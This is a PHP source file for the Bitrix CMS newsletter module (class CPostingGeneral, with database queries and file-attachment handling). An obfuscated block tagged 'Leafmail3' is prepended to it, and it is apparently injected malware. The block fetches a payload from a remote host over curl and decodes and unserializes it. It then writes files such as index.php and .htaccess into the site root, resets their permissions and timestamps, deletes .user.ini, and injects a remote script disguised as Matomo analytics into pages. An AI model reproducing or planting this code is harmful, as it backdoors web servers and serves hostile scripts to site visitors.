Your IP : 3.133.106.114
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
IncludeModuleLangFile(__FILE__);
use Bitrix\Main\Mail;
class CPostingGeneral
{
var $LAST_ERROR="";
//email count for one hit
static $current_emails_per_hit = 0;
//get by ID
public static function GetByID($ID)
{
global $DB;
$ID = intval($ID);
$strSql = "
SELECT
P.*
,".$DB->DateToCharFunction("P.TIMESTAMP_X", "FULL")." AS TIMESTAMP_X
,".$DB->DateToCharFunction("P.DATE_SENT", "FULL")." AS DATE_SENT
,".$DB->DateToCharFunction("P.AUTO_SEND_TIME", "FULL")." AS AUTO_SEND_TIME
FROM b_posting P
WHERE P.ID=".$ID."
";
return $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
//list of categories linked with message
public static function GetRubricList($ID)
{
global $DB;
$ID = intval($ID);
$strSql = "
SELECT
R.ID
,R.NAME
,R.SORT
,R.LID
,R.ACTIVE
FROM
b_list_rubric R
,b_posting_rubric PR
WHERE
R.ID=PR.LIST_RUBRIC_ID
AND PR.POSTING_ID=".$ID."
ORDER BY
R.LID, R.SORT, R.NAME
";
return $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
//list of user group linked with message
public static function GetGroupList($ID)
{
global $DB;
$ID = intval($ID);
$strSql = "
SELECT
G.ID
,G.NAME
FROM
b_group G
,b_posting_group PG
WHERE
G.ID=PG.GROUP_ID
AND PG.POSTING_ID=".$ID."
ORDER BY
G.C_SORT, G.ID
";
return $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
// delete by ID
public static function Delete($ID)
{
global $DB;
$ID = intval($ID);
CPosting::DeleteFile($ID);
$res = $DB->Query("DELETE FROM b_posting_rubric WHERE POSTING_ID='".$ID."'", false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
$res = $DB->Query("DELETE FROM b_posting_group WHERE POSTING_ID='".$ID."' ", false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
$res = $DB->Query("DELETE FROM b_posting_email WHERE POSTING_ID='".$ID."' ", false, "File: ".__FILE__."<br>Line: ".__LINE__);
if($res)
$res = $DB->Query("DELETE FROM b_posting WHERE ID='".$ID."' ", false, "File: ".__FILE__."<br>Line: ".__LINE__);
return $res;
}
public static function OnGroupDelete($group_id)
{
global $DB;
$group_id = intval($group_id);
return $DB->Query("DELETE FROM b_posting_group WHERE GROUP_ID=".$group_id, true);
}
public static function DeleteFile($ID, $file_id=false)
{
global $DB;
$rsFile = CPosting::GetFileList($ID, $file_id);
while($arFile = $rsFile->Fetch())
{
$DB->Query("DELETE FROM b_posting_file where POSTING_ID=".intval($ID)." AND FILE_ID=".intval($arFile["ID"]), false, "File: ".__FILE__."<br>Line: ".__LINE__);
CFile::Delete(intval($arFile["ID"]));
}
}
public static function SplitFileName($file_name)
{
$found = array();
// exapmle(2).txt
if(preg_match("/^(.*)\\((\\d+?)\\)(\\..+?)$/", $file_name, $found))
{
$fname = $found[1];
$fext = $found[3];
$index = $found[2];
}
// example(2)
elseif(preg_match("/^(.*)\\((\\d+?)\\)$/", $file_name, $found))
{
$fname = $found[1];
$fext = "";
$index = $found[2];
}
// example.txt
elseif(preg_match("/^(.*)(\\..+?)$/", $file_name, $found))
{
$fname = $found[1];
$fext = $found[2];
$index = 0;
}
// example
else
{
$fname = $file_name;
$fext = "";
$index = 0;
}
return array($fname, $fext, $index);
}
function SaveFile($ID, $file)
{
global $DB, $APPLICATION;
$ID = intval($ID);
$filesSize = 0;
$arFileName = CPosting::SplitFileName($file["name"]);
//Check if file with this name already exists
$arSameNames = array();
$rsFile = CPosting::GetFileList($ID);
while($arFile = $rsFile->Fetch())
{
$filesSize += $arFile["FILE_SIZE"];
$arSavedName = CPosting::SplitFileName($arFile["ORIGINAL_NAME"]);
if($arFileName[0] == $arSavedName[0] && $arFileName[1] == $arSavedName[1])
$arSameNames[$arSavedName[2]] = true;
}
$max_files_size = COption::GetOptionString("subscribe", "max_files_size") * 1024 *1024;
if ($max_files_size > 0)
{
$filesSize += $file["size"];
if ($filesSize > $max_files_size)
{
$this->LAST_ERROR = GetMessage("class_post_err_files_size", array(
"#MAX_FILES_SIZE#" => CFile::FormatSize($max_files_size),
));
$APPLICATION->ThrowException($this->LAST_ERROR);
return false;
}
}
while(array_key_exists($arFileName[2], $arSameNames))
{
$arFileName[2]++;
}
if($arFileName[2] > 0)
{
$file["name"] = $arFileName[0]."(".($arFileName[2]).")".$arFileName[1];
}
//save file
$file["MODULE_ID"] = "subscribe";
$fid = intval(CFile::SaveFile($file, "subscribe", true, true));
if(($fid > 0) && $DB->Query("INSERT INTO b_posting_file (POSTING_ID, FILE_ID) VALUES (".$ID." ,".$fid.")", false, "File: ".__FILE__."<br>Line: ".__LINE__))
{
return true;
}
else
{
$this->LAST_ERROR = GetMessage("class_post_err_att");
$APPLICATION->ThrowException($this->LAST_ERROR);
return false;
}
}
public static function GetFileList($ID, $file_id=false)
{
global $DB;
$ID = intval($ID);
$file_id = intval($file_id);
$strSql = "
SELECT
F.ID
,F.FILE_SIZE
,F.ORIGINAL_NAME
,F.SUBDIR
,F.FILE_NAME
,F.CONTENT_TYPE
,F.HANDLER_ID
FROM
b_file F
,b_posting_file PF
WHERE
F.ID=PF.FILE_ID
AND PF.POSTING_ID=".$ID."
".($file_id>0?"AND PF.FILE_ID = ".$file_id:"")."
ORDER BY F.ID
";
return $DB->Query($strSql, false, "File: ".__FILE__."<br>Line: ".__LINE__);
}
//check fields before writing
function CheckFields($arFields, $ID)
{
/** @global CDatabase $DB */
global $DB;
/** @global CMain $APPLICATION */
global $APPLICATION;
$this->LAST_ERROR = "";
$aMsg = array();
if(array_key_exists("FROM_FIELD", $arFields))
{
if(strlen($arFields["FROM_FIELD"])<3 || !check_email($arFields["FROM_FIELD"]))
$aMsg[] = array("id"=>"FROM_FIELD", "text"=>GetMessage("class_post_err_email"));
}
